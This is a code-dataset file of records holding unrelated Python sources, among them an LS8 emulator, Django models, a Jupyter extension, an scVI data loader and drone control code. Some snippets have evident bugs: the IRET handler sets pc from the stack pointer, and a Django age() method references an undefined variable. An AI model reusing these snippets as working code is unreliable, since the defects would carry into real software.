0b01011010\nJGT = 0b01010111\nJLE = 0b01011001\nJLT = 0b01011000\nJMP = 0b01010100\nJNE = 0b01010110\nLD = 0b10000011\nLDI = 0b10000010\nPOP = 0b01000110\nNOP = 0b00000000\nPRA = 0b01001000\nPRN = 0b01000111\nPUSH = 0b01000101\nRET = 0b00010001\nST = 0b10000100\n\n\ndef handle_CALL(self, operand_a, operand_b):\n # Get the current address\n addr = self.reg[operand_a]\n # Advance the return address\n rtn_addr = self.pc + 2\n # Subtract one ('after' the instruction) from SP\n self.reg[7] -= 1 \n sp = self.reg[7]\n # Push the address of the instruction after CALL to the stack\n self.ram[sp] = rtn_addr \n # Set the PC to the address in the given register\n self.pc = addr\n\ndef handle_HLT(self, *args):\n # Stop all processes\n self.is_running = False\n\ndef handle_LDI(self, operand_a, operand_b):\n # Set the value of the register at op_a to op_b\n self.reg[operand_a] = operand_b\n\ndef handle_PRN(self, operand_a, operand_b):\n # print the value of the register at op_a\n print(self.reg[operand_a])\n\ndef handle_PUSH(self, operand, *args):\n val = self.reg[operand]\n # decrement the SP\n self.reg[7] -= 1\n # Put the value into the stack at the address indicated by the SP\n self.ram[self.reg[7]] = val\n\ndef handle_POP(self, operand, *args):\n # Put the value at the top of the stack into the given register\n val = self.ram[self.reg[7]]\n self.reg[operand] = val\n # Increment the stack point\n self.reg[7] += 1\n\ndef handle_RET(self, *args):\n # Subroutine complete, return\n rtn_addr = self.ram[self.reg[7]]\n # Increment by one because the value has been handled\n self.reg[7] += 1\n # value from the top of the stack gets stored to PC\n self.pc = rtn_addr\n\ndef handle_INT(self, operand, *args):\n # set r6's nth bit to the value in the given reg\n # use hashing w/ or to preserve all other digits\n # hashing number will be a 1 squished over by the amount of the value\n self.reg[6] |= (1 << self.reg[operand])\n\ndef handle_IRET(self, *args):\n # pop r6-r0 off the stack in that order\n for i in range(6, -1, -1):\n self.handle_POP(i)\n # pop the FL reg off the stack\n self.FL = self.ram_read(self.reg[7])\n self.reg[7] += 1\n # pop the return address off and store it in pc\n self.pc = self.reg[7]\n #TODO re-enable interupts (?)\n\ndef handle_JEQ(self, operand, *args):\n # Check if the flag has a 1 in the E (last position)\n # Hash with & b/c we only care about the last digit\n # If the last digit is true, this will return true\n if self.FL & 0b00000001:\n self.pc = self.reg[operand]\n else:\n self.pc += 2\n\ndef handle_JGE(self, operand, *args):\n # If the last or second last position is true, this will return true\n if self.FL & 0b00000011:\n self.pc = self.reg[operand]\n # PC incrementer in run is set to ignore these calls in case they are true\n # if they're false, the PC needs to be incremented.\n else:\n self.pc += 2\n\ndef handle_JGT(self, operand, *args):\n # if the second last position is true, this will return true\n if self.FL & 0b00000010:\n self.pc = self.reg[operand]\n else:\n self.pc += 2\n\ndef handle_JLE(self, operand, *args):\n if self.FL & 0b00000110:\n self.pc = self.reg[operand]\n else:\n self.pc += 2\n\ndef handle_JLT(self, operand, *args):\n if self.FL & 0b00001000:\n self.pc = self.reg[operand]\n else:\n self.pc += 2\n\ndef handle_JMP(self, operand, *args):\n # Move the pc forward, regardless\n # This call is ignored by the run method.\n self.pc = self.reg[operand]\n\ndef handle_JNE(self, operand, *args):\n # Only jump if E = 0\n if not self.FL & 0b00000001:\n self.pc = self.reg[operand]\n else: \n self.pc += 2\n\ndef handle_LD(self, operand_a, operand_b):\n self.reg[operand_a] = self.ram[self.reg[operand_b]]\n\ndef handle_NOP(self, *args):\n pass\n\ndef handle_PRA(self, operand, *args):\n # get the value at the indicated reg\n letter = self.reg[operand]\n # convert it to a letter and print\n print(chr(letter))\n\ndef handle_ST(self, operand_a, operand_b):\n # write to memory; reg_b goes to address in reg_a\n # self.ram_write(address, value)\n self.ram_write(self.reg[operand_a], self.reg[operand_b])\n\nmain_branch = {\n HLT : handle_HLT,\n LDI : handle_LDI,\n PRN : handle_PRN,\n PUSH : handle_PUSH,\n POP : handle_POP,\n CALL : handle_CALL,\n RET : handle_RET,\n INT : handle_INT,\n IRET : handle_IRET,\n JEQ: handle_JEQ,\n JGE: handle_JGE,\n JGT: handle_JGT,\n JLE: handle_JLE,\n JLT: handle_JLT,\n JMP: handle_JMP,\n JNE: handle_JNE,\n LD: handle_LD,\n NOP: handle_NOP,\n PRA: handle_PRA,\n ST: handle_ST,\n}","sub_path":"ls8/main_ops.py","file_name":"main_ops.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"204504128","text":"#!/usr/bin/python\n\"\"\"postprocess\"\"\"\n\nimport argparse\nimport ruamel.yaml\n\n\ndef read(filename):\n \"\"\"return file contents\"\"\"\n\n with open(filename, 'r') as file_in:\n return file_in.read()\n\n\ndef write(filename, cwl):\n \"\"\"write to file\"\"\"\n\n with open(filename, 'w') as file_out:\n file_out.write(cwl)\n\n\ndef main():\n \"\"\"main function\"\"\"\n\n parser = argparse.ArgumentParser(description='postprocess')\n\n parser.add_argument(\n '-f',\n action=\"store\",\n dest=\"filename_cwl\",\n help='Name of the cwl file',\n required=True\n )\n\n params = parser.parse_args()\n\n cwl = ruamel.yaml.load(read(params.filename_cwl),\n ruamel.yaml.RoundTripLoader)\n\n# 1) we're doing this way to preserve the order\n# can't figure out other ways.\n# 2) the prefix --in param must be set up this way to have\n# ABRA output --in multiple times\n input_file_type = \"\"\"\ntype: array\nitems: File\n\"\"\"\n cwl['inputs']['in']['type'] = ruamel.yaml.load(input_file_type, ruamel.yaml.RoundTripLoader)\n cwl['inputs']['in']['inputBinding'].insert(0, 'itemSeparator', ',')\n cwl['inputs']['in']['secondaryFiles'] = ['^.bai']\n cwl['inputs']['targets']['type'].insert(1, 'File')\n input_out_type = \"\"\"\ntype: array\nitems: string\n\"\"\"\n cwl['inputs']['out']['type'] = ruamel.yaml.load(input_out_type, ruamel.yaml.RoundTripLoader)\n cwl['inputs']['out']['inputBinding'].insert(0, 'itemSeparator', ',')\n cwl['inputs']['threads']['default'] = '15'\n del cwl['inputs']['version']\n del cwl['inputs']['java_version']\n\n write(params.filename_cwl, ruamel.yaml.dump(\n cwl, Dumper=ruamel.yaml.RoundTripDumper))\n\n\nif __name__ == \"__main__\":\n\n main()\n","sub_path":"build/cwl-wrappers/cmo-abra/0.92/postprocess.py","file_name":"postprocess.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"6013825","text":"from django.core.urlresolvers import reverse_lazy\n\nfrom .models import Aluno, Professor, Horario, Turma, \\\n DiasInuteis, Item\nfrom .forms import AlunoForm, ProfessorForm, HorarioForm, \\\n TurmaForm, DiasInuteisForm, ItemForm\n\n\nBASE_FORM_ALUNO = 'form/aluno_form.html'\nBASE_FORM_PROFESSOR = 'form/professor_form.html'\nBASE_FORM_TURMA = 'form/turma_form.html'\nBASE_FORM_HORARIO = 'form/horario_form.html'\nBASE_FORM_DIAS_INUTEIS = 'form/dias_inuteis_form.html'\nBASE_FORM_ITEM = 'form/item_form.html'\n\n\nclass AlunoViewMixin(object):\n\n model = Aluno\n form_class = AlunoForm\n success_url = reverse_lazy('register:aluno:list')\n\n def get_context_data(self, **kwargs):\n context = super(AlunoViewMixin, self).get_context_data(**kwargs)\n context['template_extends'] = BASE_FORM_ALUNO\n context['form_disabled'] = False\n context['register_class'] = \"Cadastros\"\n context['register_name'] = \"Aluno\"\n\n return context\n\n\nclass ProfessorViewMixin(object):\n\n model = Professor\n form_class = ProfessorForm\n success_url = reverse_lazy('register:professor:list')\n\n def get_context_data(self, **kwargs):\n context = super(ProfessorViewMixin, self).get_context_data(**kwargs)\n context['template_extends'] = BASE_FORM_PROFESSOR\n context['form_disabled'] = False\n context['register_class'] = \"Cadastros\"\n context['register_name'] = \"Professor\"\n\n return context\n\n\nclass HorarioViewMixin(object):\n\n model = Horario\n form_class = HorarioForm\n success_url = reverse_lazy('register:horario:list')\n\n def get_context_data(self, **kwargs):\n context = super(HorarioViewMixin, self).get_context_data(**kwargs)\n context['template_extends'] = BASE_FORM_HORARIO\n context['form_disabled'] = False\n context['register_class'] = \"Cadastros\"\n context['register_name'] = \"Horario\"\n\n return context\n\n\nclass TurmaViewMixin(object):\n\n model = Turma\n form_class = TurmaForm\n success_url = reverse_lazy('register:turma:list')\n\n def get_context_data(self, **kwargs):\n context = super(TurmaViewMixin, self).get_context_data(**kwargs)\n context['template_extends'] = BASE_FORM_TURMA\n context['form_disabled'] = False\n context['register_class'] = \"Cadastros\"\n context['register_name'] = \"Turma\"\n context['itens'] = Item.objects.all()\n\n return context\n\n\nclass DiasInuteisViewMixin(object):\n\n model = DiasInuteis\n form_class = DiasInuteisForm\n success_url = reverse_lazy('register:dias_inuteis:list')\n\n def get_context_data(self, **kwargs):\n context = super(DiasInuteisViewMixin, self).get_context_data(**kwargs)\n context['template_extends'] = BASE_FORM_DIAS_INUTEIS\n context['form_disabled'] = False\n context['register_class'] = \"Cadastros\"\n context['register_name'] = \"Dias Inuteis\"\n\n return context\n\n\nclass ItemViewMixin(object):\n\n model = Item\n form_class = ItemForm\n success_url = reverse_lazy('register:item:list')\n\n def get_context_data(self, **kwargs):\n context = super(ItemViewMixin, self).get_context_data(**kwargs)\n context['template_extends'] = BASE_FORM_ITEM\n context['form_disabled'] = False\n context['register_class'] = \"Cadastros\"\n context['register_name'] = \"Item\"\n\n return context","sub_path":"onda_esportiva/register/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"443114030","text":"import json\nimport shutil\nfrom pathlib import Path\n\nfrom notebook.base.handlers import IPythonHandler\nfrom notebook.utils import url_path_join\nfrom simcore_sdk import node_ports\n\n\nasync def retrieve_data():\n print(\"retrieving data...\")\n PORTS = node_ports.ports()\n\n inputs_path = Path(\"~/home\").expanduser()\n inputs_path.mkdir(exist_ok=True)\n\n values = {}\n for node_input in PORTS.inputs: \n if not node_input or node_input.value is None:\n continue\n print(\"getting data from port '{}' with value '{}'...\".format(node_input.key, node_input.value))\n value = await node_input.get()\n values[node_input.key] = {\"type\": node_input.type, \"value\": value}\n\n if \"data:\" in node_input.type:\n dest = inputs_path / node_input.key\n dest.mkdir(exist_ok=True, parents=True)\n dest = dest / Path(value).name\n shutil.move(value, dest)\n values[node_input.key] = {\"type\": node_input.type, \"value\": str(dest)}\n\n values_file = inputs_path / \"values.json\"\n with values_file.open('w') as fp:\n json.dump(values, fp)\n\nclass HelloWorldHandler(IPythonHandler):\n async def get(self):\n await retrieve_data()\n self.finish('Hello, world!')\n\ndef load_jupyter_server_extension(nb_server_app):\n \"\"\"\n Called when the extension is loaded.\n Args:\n nb_server_app (NotebookWebApplication): handle to the Notebook webserver instance.\n \"\"\"\n web_app = nb_server_app.web_app\n host_pattern = '.*$'\n route_pattern = url_path_join(web_app.settings['base_url'], '/retrieve')\n \n web_app.add_handlers(host_pattern, [(route_pattern, HelloWorldHandler)])\n ","sub_path":"Dockerfile_notebook_only/input_retriever.py","file_name":"input_retriever.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"38664875","text":"\ndef reverse(word):\n new_string = []\n index = len(word)\n # word_arr = list(word)\n\n while index:\n index -= 1\n new_string.append(word[index])\n return new_string\n\nword = input('input a string :')\nprint(reverse(word))\n","sub_path":"mix_function/reverse_string.py","file_name":"reverse_string.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"371336618","text":"import numpy as np\nfrom convolution_step import conv_single_step\n\n\nnp.random.seed(1)\na_slice_prev = np.random.randn(4, 4, 3)\nW = np.random.randn(4, 4, 3)\nb = np.random.randn(1, 1, 1)\n\nZ = conv_single_step(a_slice_prev, W, b)\nprint(\"Z =\", Z)\n\nassert (type(Z) == np.float64 or type(Z) == np.float32), \"You must cast the output to float\"\nassert np.isclose(Z, -6.999089450680221), \"Wrong value\"\n","sub_path":"machine-learning/coursera/deep-learning-specialization/course4/week1/assigment/cnn_from_scratch/convolution_step_test.py","file_name":"convolution_step_test.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"312820504","text":"#!/usr/bin/env python\n\nfrom setuptools import setup, find_packages\nimport branch_io\n\nwith open(\"requirements.txt\") as infile:\n requires = list(map(lambda x: x.strip(), infile.readlines()))\n\nsetup_options = dict(\n name='branch-client',\n version=branch_io.__version__,\n description='Python client for branch.io.',\n long_description='Python client for branch.io.',\n author='Upside Services, Inc',\n url='https://github.com/upside-services/branch-io-clients',\n scripts=[],\n packages=find_packages(exclude=['tests*']),\n install_requires=requires\n)\n\nsetup(**setup_options)","sub_path":"python-client/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"85511096","text":"# -*- coding: utf-8 -*-\n\nfrom django.db import models\nfrom datetime import date\nfrom smart_selects.db_fields import ChainedForeignKey\nfrom localflavor.ar import ar_provinces\n\n\nPHONE_TYPE = (\n ('C', 'Celular'),\n ('F', 'Fijo'),\n ('W', 'Trabajo'),\n )\n\n\nclass Client(models.Model):\n firstname = models.CharField(max_length=200, verbose_name='nombre')\n lastname = models.CharField(max_length=200, null=True, blank=True, verbose_name='apellido')\n email = models.EmailField(max_length=200, null=True, blank=True, verbose_name='email')\n\n def __unicode__(self):\n return \"%s %s\" % (self.firstname, self.lastname)\n\n class Meta:\n verbose_name = 'cliente'\n\n\nclass Address(models.Model):\n address = models.CharField(max_length=200, verbose_name='calle y número')\n city = models.CharField(max_length=200, verbose_name='ciudad')\n state = models.CharField(max_length=1, choices=ar_provinces.PROVINCE_CHOICES, verbose_name='provincia')\n client = models.ForeignKey(Client)\n\n def __unicode__(self):\n return \"%s, %s, %s\" % (self.address, self.city, self.state)\n\n class Meta:\n verbose_name = 'dirección'\n verbose_name_plural = 'direcciones'\n\n\nclass PhoneNumber(models.Model):\n number = models.CharField(max_length=200, verbose_name='número')\n number_type = models.CharField(max_length=1, choices=PHONE_TYPE, verbose_name='tipo')\n client = models.ForeignKey(Client)\n\n class Meta:\n verbose_name = 'número de teléfono'\n verbose_name_plural = 'números de teléfono'\n\n\nclass Specie(models.Model):\n name = models.CharField(max_length=200, verbose_name='nombre')\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n verbose_name = 'especie'\n\n\nclass Breed(models.Model):\n name = models.CharField(max_length=200, verbose_name='nombre')\n specie = models.ForeignKey(Specie)\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n verbose_name = 'raza'\n\n\nclass Gender(models.Model):\n name = models.CharField(max_length=200, verbose_name='nombre')\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n verbose_name = 'sexo'\n\n\nclass Patient(models.Model):\n name = models.CharField(max_length=200, verbose_name='nombre')\n owner = models.ForeignKey(Client, verbose_name='dueño')\n specie = models.ForeignKey(Specie, null=True, verbose_name='especie')\n breed = ChainedForeignKey(Breed, null=True, chained_field=\"specie\", chained_model_field=\"specie\", \n show_all=False, auto_choose=True, verbose_name='raza')\n gender = models.ForeignKey(Gender, null=True, verbose_name='sexo')\n birthday = models.DateField(null=True, verbose_name='fecha de nacimiento')\n identifier = models.CharField(null=True, blank=True, max_length=200, verbose_name='identificador')\n initial_anamnesis = models.TextField(null=True, blank=True, verbose_name='anamnesis')\n\n def age(self):\n today = date.today()\n return today.year - self.birthday.year - ((today.month, today.day) < (self.birthday.month, born.day))\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n verbose_name = 'paciente'\n\n\nclass MedicalRecord(models.Model):\n date = models.DateField(default=date.today, verbose_name='fecha')\n patient = models.ForeignKey(Patient)\n anamnesis = models.TextField(null=True, blank=True, verbose_name='anamnesis')\n exam = models.TextField(null=True, blank=True, verbose_name='examen')\n diagnostic = models.TextField(null=True, blank=True, verbose_name='diagnóstico')\n ttd = models.TextField(null=True, blank=True, verbose_name='ttd')\n\n class Meta:\n verbose_name = 'historia clínica'\n","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"388294084","text":"import os\nimport logging\nfrom pathlib import Path\nfrom zipfile import ZipFile\n\nimport numpy as np\nimport pandas as pd\n\nfrom scvi.dataset.dataset import DownloadableDataset\n\nlogger = logging.getLogger(__name__)\n\n\nclass HematoDataset(DownloadableDataset):\n \"\"\"Loads the hemato dataset.\n\n This dataset contains continuous gene expression variations from hematopoeitic progenitor cells [31] contains\n 4,016 cells and 7,397 genes. We removed the library basal-bm1 which was of poor quality based on authors\n recommendation. We use their population balance analysis result as a potential function for differentiation.\n\n Examples:\n >>> gene_dataset = HematoDataset()\n \"\"\"\n\n def __init__(\n self, save_path: str = \"data/HEMATO/\", delayed_populating: bool = False\n ):\n self.gene_names_filename = \"bBM.filtered_gene_list.paper.txt\"\n self.spring_and_pba_filename = \"bBM.spring_and_pba.csv\"\n self.cell_types_levels = [\n \"Erythroid\",\n \"Granulocytic Neutrophil\",\n \"Lymphocytic\",\n \"Dendritic\",\n \"Megakaryocytic\",\n \"Monocytic\",\n \"Basophilic\",\n ]\n super().__init__(\n urls=[\n \"https://www.ncbi.nlm.nih.gov/geo/download/?acc=GSM2388072&format=file&\"\n \"file=GSM2388072%5Fbasal%5Fbone%5Fmarrow%2Eraw%5Fumifm%5Fcounts%2Ecsv%2Egz\",\n \"https://github.com/romain-lopez/scVI-reproducibility/raw/master/additional/data.zip\",\n ],\n filenames=[\"bBM.raw_umifm_counts.csv.gz\", \"data.zip\"],\n save_path=save_path,\n delayed_populating=delayed_populating,\n )\n\n def populate(self):\n logger.info(\"Preprocessing Hemato data\")\n\n if len(os.listdir(self.save_path)) == 2: # nothing extracted yet\n with ZipFile(os.path.join(self.save_path, \"data.zip\"), \"r\") as zip:\n zip.extractall(path=Path(self.save_path).parent)\n raw_counts = pd.read_csv(\n os.path.join(self.save_path, self.filenames[0]), compression=\"gzip\"\n )\n\n # remove this library to avoid dealing with batch effects\n raw_counts.drop(\n raw_counts.index[raw_counts[\"library_id\"] == \"basal_bm1\"], inplace=True\n )\n\n spring_and_pba = pd.read_csv(\n os.path.join(self.save_path, self.spring_and_pba_filename)\n )\n gene_names = np.loadtxt(\n os.path.join(self.save_path, self.gene_names_filename), dtype=np.str\n )\n\n data = raw_counts.merge(spring_and_pba, how=\"inner\")\n expression_data = data[gene_names]\n x_spring = data[\"x_spring\"].values\n y_spring = data[\"y_spring\"].values\n\n self.meta = data[\n [\"Potential\", \"Pr_Er\", \"Pr_Gr\", \"Pr_Ly\", \"Pr_DC\", \"Pr_Mk\", \"Pr_Mo\", \"Pr_Ba\"]\n ]\n\n def logit(p):\n p = np.copy(p.values)\n p[p == 0] = np.min(p[p > 0])\n p[p == 1] = np.max(p[p < 1])\n return np.log(p / (1 - p))\n\n labels = logit(self.meta.iloc[:, 2]) - logit(self.meta.iloc[:, 1])\n expression_data = expression_data.values\n\n logger.info(\"Finished preprocessing Hemato data\")\n self.populate_from_data(\n X=expression_data,\n labels=labels,\n gene_names=gene_names,\n cell_attributes_dict={\"x_coord\": x_spring, \"y_coord\": y_spring},\n )\n self.filter_cells_by_count()\n","sub_path":"scvi/dataset/hemato.py","file_name":"hemato.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"210065229","text":"#!/usr/bin/python3\r\n\r\n# Copyright (C) 2017 Masahiro Tsuji\r\n#\r\n# This file is part of PyDrone.\r\n#\r\n# PyDrone is free software: you can redistribute it and/or modify\r\n# it under the terms of the GNU General Public License as published by\r\n# the Free Software Foundation, either version 3 of the License, or\r\n# (at your option) any later version.\r\n#\r\n# PyDrone is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# GNU General Public License for more details.\r\n#\r\n# You should have received a copy of the GNU General Public License\r\n# along with PyDrone. If not, see .\r\n#\r\n\r\nfrom optparse import OptionParser, OptionValueError\r\n\r\n# sudo pip3 install pyyaml\r\nimport yaml\r\nimport math\r\nimport time\r\n\r\nfrom debug_tools.attitude_log import AttitudeLog\r\nfrom thrust.thrust import Thrust\r\nfrom sensor.sensor import Sensor\r\nfrom pilot.pilot import Pilot\r\nfrom controller.controller import Controller\r\nfrom time_log import TimeLog\r\nfrom led_pyzero import Led\r\n\r\ndef main_loop(conf_file, log_path, controll_method):\r\n Led.change(False)\r\n pilot = Pilot(controll_method)\r\n print(\"Ready\")\r\n cmd = Pilot.CMD_NOP\r\n while True:\r\n last_cmd = cmd\r\n cmd = pilot.get_cmd()\r\n if cmd == Pilot.CMD_NOP:\r\n pass\r\n elif last_cmd == Pilot.CMD_NOP and cmd == Pilot.CMD_THROTTLE_ZERO:\r\n # start\r\n try:\r\n params = yaml.load(open(conf_file, \"rt\"))\r\n except:\r\n print(\"ERROR can not read conf file\")\r\n raise\r\n if log_path is not None:\r\n # over write log_path if --log option is specifed\r\n params[\"log\"][\"path\"] = log_path\r\n sensor = Sensor()\r\n dt = sensor.sampling_interval()\r\n controller = Controller(dt=dt,**params[\"controller\"])\r\n print(\"ctrl start\")\r\n pilot.initialize()\r\n alog = AttitudeLog(**params[\"log\"])\r\n Led.change(True)\r\n with Thrust(params[\"body_const\"]) as thrust:\r\n control_loop(pilot, sensor, controller, thrust, alog)\r\n print(\"ctrl end\")\r\n Led.change(False)\r\n alog.add_info('param', params)\r\n alog.save() \r\n print(\"seve end\")\r\n time.sleep(0.5) \r\n Led.toggle()\r\n\r\n\r\n \r\ndef throttle_correction(throttle_in, angle):\r\n DEG_TO_RAD = math.pi/180\r\n return throttle_in/(math.cos(angle[1] * DEG_TO_RAD) * math.cos(angle[2] * DEG_TO_RAD))\r\n\r\ndef control_loop(pilot, sensor, controller, thrust, alog):\r\n timelog = TimeLog()\r\n start_time = None\r\n startup_done =False\r\n while True:\r\n cmd = pilot.get_cmd()\r\n if cmd==Pilot.CMD_THROTTLE_ZERO:\r\n if startup_done:\r\n break\r\n else:\r\n startup_done = True\r\n if cmd==Pilot.CMD_EMERGENCY:\r\n print(\"EMERGENCY!\")\r\n break\r\n timelog.checkpoint_first()\r\n retrieve_time, angle, angular_velocity, acc = sensor.get()\r\n timelog.checkpoint(retrieve_time)\r\n timelog.checkpoint()\r\n throttle, setpoint = pilot.get_setpoint(angle, angular_velocity, acc)\r\n throttle_out = throttle_correction(throttle, angle)\r\n tau = controller.out(angle, angular_velocity, setpoint)\r\n thrust.set_thrust(throttle_out, tau)\r\n time_result = timelog.checkpoint(is_last=True)\r\n if startup_done == False:\r\n continue\r\n if start_time is None:\r\n start_time = retrieve_time\r\n alog.append(time = retrieve_time - start_time,\r\n time_log = time_result[:],\r\n angle_ypr = list(angle), \r\n gyro_ypr = list(angular_velocity),\r\n raw_acc = list(acc),\r\n out_throttle = throttle_out,\r\n out_tau = list(tau),\r\n pilot_ypr = list(setpoint),\r\n pilot_throttle = throttle) \r\n thrust.set_thrust(0,[0,0,0]) \r\n\r\n\r\nif __name__ == \"__main__\":\r\n \"\"\"\r\n QuadCopter Controller v0.1\r\n \r\n \"\"\"\r\n usage = \"usage: %prog [options] keyword\"\r\n parser = OptionParser(usage)\r\n parser.add_option(\r\n \"--hid\",\r\n action=\"store_true\", # Trueを保存\r\n # store_falseならFalseを保存\r\n default=False,\r\n help=\"use hid joystic\"\r\n )\r\n parser.add_option(\r\n \"-c\", \"--conf\",\r\n action=\"store\", type=\"string\", dest=\"conf_file\",\r\n default=\"pydrone.conf\",\r\n help=\"configuration file\"\r\n )\r\n parser.add_option(\r\n \"-l\", \"--log\",\r\n action=\"store\", type=\"string\", dest=\"log_path\",\r\n default=None,\r\n help=\"path for log file\"\r\n )\r\n (options, args) = parser.parse_args()\r\n\r\n Led.change(False)\r\n\r\n if options.hid:\r\n controll_method=Pilot.METHOD_HID\r\n else:\r\n controll_method=Pilot.METHOD_UDP\r\n\r\n main_loop(options.conf_file, options.log_path, controll_method)\r\n","sub_path":"pydrone.py","file_name":"pydrone.py","file_ext":"py","file_size_in_byte":5128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"250434168","text":"\"\"\"\nCommon core objects\n\"\"\"\nfrom abc import ABC, abstractmethod\nfrom dataclasses import asdict, dataclass\nfrom typing import Any, Dict, Iterator, List\n\n\nclass GitError(Exception):\n \"\"\"Wrapper exception for Git failures.\"\"\"\n\n\n@dataclass\nclass Commit:\n \"\"\"Core class representing a commit\"\"\"\n\n hash: str\n author_name: str\n author_mail: str\n author_date: int\n commit_name: str\n commit_mail: str\n commit_date: int\n subject: str\n body: str\n parents: List[str]\n\n def asdict(self) -> Dict[str, Any]:\n return asdict(self)\n\n\nclass GitPort(ABC):\n \"\"\"Git repository port\"\"\"\n\n @abstractmethod\n def list_commits(self) -> Iterator[Commit]:\n \"\"\"Returns an iterator will all the commits from the repository\"\"\"\n\n @staticmethod\n @abstractmethod\n def valid_url(url: str) -> bool:\n \"\"\"Must return true only if the instance supports this URL\"\"\"\n","sub_path":"commit_viewer/git/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"98938899","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\n# ======================================================================\n# Copyright 2016 Julien LE CLEACH\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ======================================================================\n\nimport errno\nimport os\n\nfrom supervisor.options import ServerOptions\nfrom supervisor.web import VIEWS\nfrom supervisor.xmlrpc import Faults\n\nfrom supvisors.rpcinterface import RPCInterface\nfrom supvisors.viewprocaddress import ProcAddressView\nfrom supvisors.viewhostaddress import HostAddressView\nfrom supvisors.viewapplication import ApplicationView\nfrom supvisors.viewimage import *\nfrom supvisors.viewsupvisors import SupvisorsView\n\n\n# Supvisors related faults\nclass SupvisorsFaults:\n SUPVISORS_CONF_ERROR, BAD_SUPVISORS_STATE, BAD_ADDRESS, BAD_STRATEGY, \\\n BAD_EXTRA_ARGUMENTS = range(5)\n\nFAULTS_OFFSET = 100\n\ndef expand_faults():\n \"\"\" Expand supervisord Fault definition. \"\"\"\n for (x, y) in SupvisorsFaults.__dict__.items():\n if not x.startswith('__'):\n setattr(Faults, x, y + FAULTS_OFFSET)\n\n\ndef update_views():\n \"\"\" Trick to replace Supervisor main page. \"\"\"\n # replace Supervisor main entry\n here = os.path.abspath(os.path.dirname(__file__))\n # set main page\n VIEWS['index.html'] = {'template': os.path.join(here, 'ui/index.html'),\n 'view': SupvisorsView}\n # set address /processpage\n VIEWS['procaddress.html'] = {'template': os.path.join(\n here, 'ui/procaddress.html'),\n 'view': ProcAddressView}\n # set address/host page\n VIEWS['hostaddress.html'] = {'template': os.path.join(\n here, 'ui/hostaddress.html'),\n 'view': HostAddressView}\n # set application page\n VIEWS['application.html'] = {'template': os.path.join(\n here, 'ui/application.html'),\n 'view': ApplicationView}\n # set fake page to export images\n VIEWS['process_cpu.png'] = {'template': os.path.join(\n here, 'ui/empty.html'),\n 'view': ProcessCpuImageView}\n VIEWS['process_mem.png'] = {'template': os.path.join(\n here, 'ui/empty.html'),\n 'view': ProcessMemoryImageView}\n VIEWS['address_cpu.png'] = {'template': os.path.join(\n here, 'ui/empty.html'),\n 'view': AddressCpuImageView}\n VIEWS['address_mem.png'] = {'template': os.path.join(\n here, 'ui/empty.html'),\n 'view': AddressMemoryImageView}\n VIEWS['address_io.png'] = {'template': os.path.join(\n here, 'ui/empty.html'),\n 'view': AddressNetworkImageView}\n\n\ndef cleanup_fds(self):\n \"\"\" This is a patch of the Supervisor cleanup_fds in ServerOptions.\n The default version is a bit rough and closes all file descriptors of\n the process, including the PyZmq ones, which leads to a low-level crash\n in select/poll. \"\"\"\n pid = os.getpid()\n proc_fd = '/proc/{}/fd'.format(pid)\n zmq_inodes = []\n for fd in os.listdir(proc_fd):\n try:\n inode = os.readlink(proc_fd + '/' + fd)\n except OSError as err:\n if err.errno in (errno.ENOENT, errno.ESRCH, errno.EINVAL):\n continue\n else:\n print('[ERROR] unexpected readlink error: {}'.format(err))\n else:\n # check if the inode is a ZMQ\n if inode.startswith('anon_inode:[') or \\\n inode.startswith('socket:['):\n zmq_inodes.append(int(fd))\n # the following is adapted from the original cleanup_fds\n # it just avoids to close the Zmq inodes\n start = 5\n for x in range(start, self.minfds):\n if x not in zmq_inodes:\n try:\n os.close(x)\n except OSError:\n pass\n\n\ndef make_supvisors_rpcinterface(supervisord, **config):\n \"\"\" Supervisor entry point. \"\"\"\n # update Supervisor Fault definition\n expand_faults()\n # update Supervisor http web pages\n update_views()\n # patches the Supervisor ServerOptions.cleanup_fds\n ServerOptions.cleanup_fds = cleanup_fds\n # create and return handler\n return 